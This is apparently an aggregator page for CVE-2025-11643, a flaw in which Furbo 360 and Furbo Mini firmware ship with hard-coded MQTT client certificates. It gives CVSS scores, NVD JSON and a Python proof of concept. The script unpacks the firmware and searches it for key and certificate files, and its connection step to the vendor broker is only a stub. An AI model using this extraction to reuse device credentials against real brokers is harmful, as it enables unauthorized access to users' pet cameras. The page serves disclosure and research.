Security Vulnerability Report
中文
CVE-2025-11643 CVSS 3.7 LOW

CVE-2025-11643

Published: 2025-10-12 20:15:40
Last Modified: 2025-10-29 13:47:19

Description

A security flaw has been discovered in Tomofun Furbo 360 and Furbo Mini. Affected by this vulnerability is an unknown functionality of the file /squashfs-root/furbo_img of the component MQTT Client Certificate. Performing manipulation results in hard-coded credentials. The attack may be initiated remotely. The attack's complexity is rated as high. The exploitation appears to be difficult. The firmware versions determined to be affected are Furbo 360 up to FB0035_FW_036 and Furbo Mini up to MC0020_FW_074. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score
3.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:o:furbo:furbo_mini_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:furbo:furbo_mini:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:furbo:furbo_360_dog_camera_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:furbo:furbo_360_dog_camera:*:*:*:*:*:*:*:* - NOT VULNERABLE
Tomofun Furbo 360 <= FB0035_FW_036
Tomofun Furbo Mini <= MC0020_FW_074

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-11643 PoC - Hard-coded MQTT Client Certificate Extraction # This PoC demonstrates how to extract hard-coded credentials from Furbo firmware import requests import subprocess import os import tempfile def download_firmware(firmware_url, output_path): """Download the Furbo firmware image file""" print(f"[*] Downloading firmware from {firmware_url}") response = requests.get(firmware_url, stream=True) with open(output_path, 'wb') as f: for chunk in response.iter_content(chunk_size=8192): f.write(chunk) print(f"[+] Firmware saved to {output_path}") return output_path def extract_squashfs(firmware_path): """Extract SquashFS filesystem from firmware image""" output_dir = tempfile.mkdtemp(prefix="furbo_") print(f"[*] Extracting SquashFS to {output_dir}") # Use unsquashfs tool to extract the filesystem cmd = ["unsquashfs", "-d", os.path.join(output_dir, "squashfs-root"), firmware_path] try: subprocess.run(cmd, check=True, capture_output=True) print(f"[+] Extraction complete") return os.path.join(output_dir, "squashfs-root") except subprocess.CalledProcessError as e: print(f"[-] Extraction failed: {e.stderr.decode()}") return None def find_mqtt_certificates(extract_path): """Search for hard-coded MQTT client certificates in the extracted filesystem""" cert_patterns = [ "*.pem", "*.crt", "*.key", "*.cer", "mqtt*", "client*cert*", "client*key*" ] found_files = [] print(f"[*] Searching for MQTT certificates in {extract_path}") for pattern in cert_patterns: cmd = ["find", extract_path, "-name", pattern, "-type", "f"] result = subprocess.run(cmd, capture_output=True, text=True) for line in result.stdout.strip().split('\n'): if line: found_files.append(line) print(f"[+] Found: {line}") return found_files def extract_credentials(cert_files): """Extract credentials from certificate files""" credentials = {} for cert_file in cert_files: try: with open(cert_file, 'r') as f: content = f.read() if "BEGIN CERTIFICATE" in content or "BEGIN PRIVATE KEY" in content: credentials[cert_file] = content print(f"[+] Extracted credentials from {cert_file}") except Exception as e: print(f"[-] Error reading {cert_file}: {e}") return credentials def connect_mqtt_with_extracted_creds(broker, port, credentials): """Demonstrate connecting to MQTT broker using extracted hard-coded credentials""" # This is a demonstration - actual exploitation requires the MQTT broker details print(f"[*] Attempting MQTT connection to {broker}:{port} using extracted credentials") # Note: Real exploitation would use paho-mqtt or similar library # with the extracted client certificate for authentication print("[!] This demonstrates the vulnerability - hard-coded credentials can be reused") if __name__ == "__main__": # Step 1: Download firmware (example URL - actual URL would be from Tomofun update server) firmware_url = "https://example.com/furbo_firmware_update.img" firmware_path = "/tmp/furbo_img" # Step 2: Extract SquashFS filesystem extract_path = extract_squashfs(firmware_path) if extract_path: # Step 3: Find MQTT certificates cert_files = find_mqtt_certificates(extract_path) # Step 4: Extract hard-coded credentials credentials = extract_credentials(cert_files) # Step 5: Demonstrate exploitation if credentials: print(f"\n[!] VULNERABILITY CONFIRMED: Found {len(credentials)} hard-coded credential files") connect_mqtt_with_extracted_creds("mqtt.tomofun.com", 8883, credentials)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11643", "sourceIdentifier": "[email protected]", "published": "2025-10-12T20:15:39.500", "lastModified": "2025-10-29T13:47:18.827", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security flaw has been discovered in Tomofun Furbo 360 and Furbo Mini. Affected by this vulnerability is an unknown functionality of the file /squashfs-root/furbo_img of the component MQTT Client Certificate. Performing manipulation results in hard-coded credentials. The attack may be initiated remotely. The attack's complexity is rated as high. The exploitation appears to be difficult. The firmware versions determined to be affected are Furbo 360 up to FB0035_FW_036 and Furbo Mini up to MC0020_FW_074. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:H/Au:N/C:N/I:P/A:N", "baseScore": 2.6, "accessVector": "NETWORK", "accessComplexity": "HIGH", "authentication": "NONE", "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "availabilityImpact": "NONE"}, "baseSeverity": "LOW", "exploitabilityScore": 4.9, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-259"}, {"lang": "en", "value": "CWE-798"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:furbo:furbo_mini_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "074", "matchCriteriaId": "06B19876-699B-455F-945F-AF26C60BF965"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:furbo:furbo_mini:-:*:*:*:*:*:*:*", "matchCriteriaId": "7F549356-AF78-447C-8689-D9DD1A9202DC"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:furbo:furbo_360_dog_camera_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "036", "matchCriteriaId": "6DDA1333-73CD-494A-8DD3-9543FDFD47A7"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:furbo:furbo_360_dog_camera:*:*:*:*:*:*:*:*", "matchCriteriaId": "08CA8E77-413F-4849-A110-49DB5DDA29C5"}]}]}], "references": [{"url": "h ... (truncated)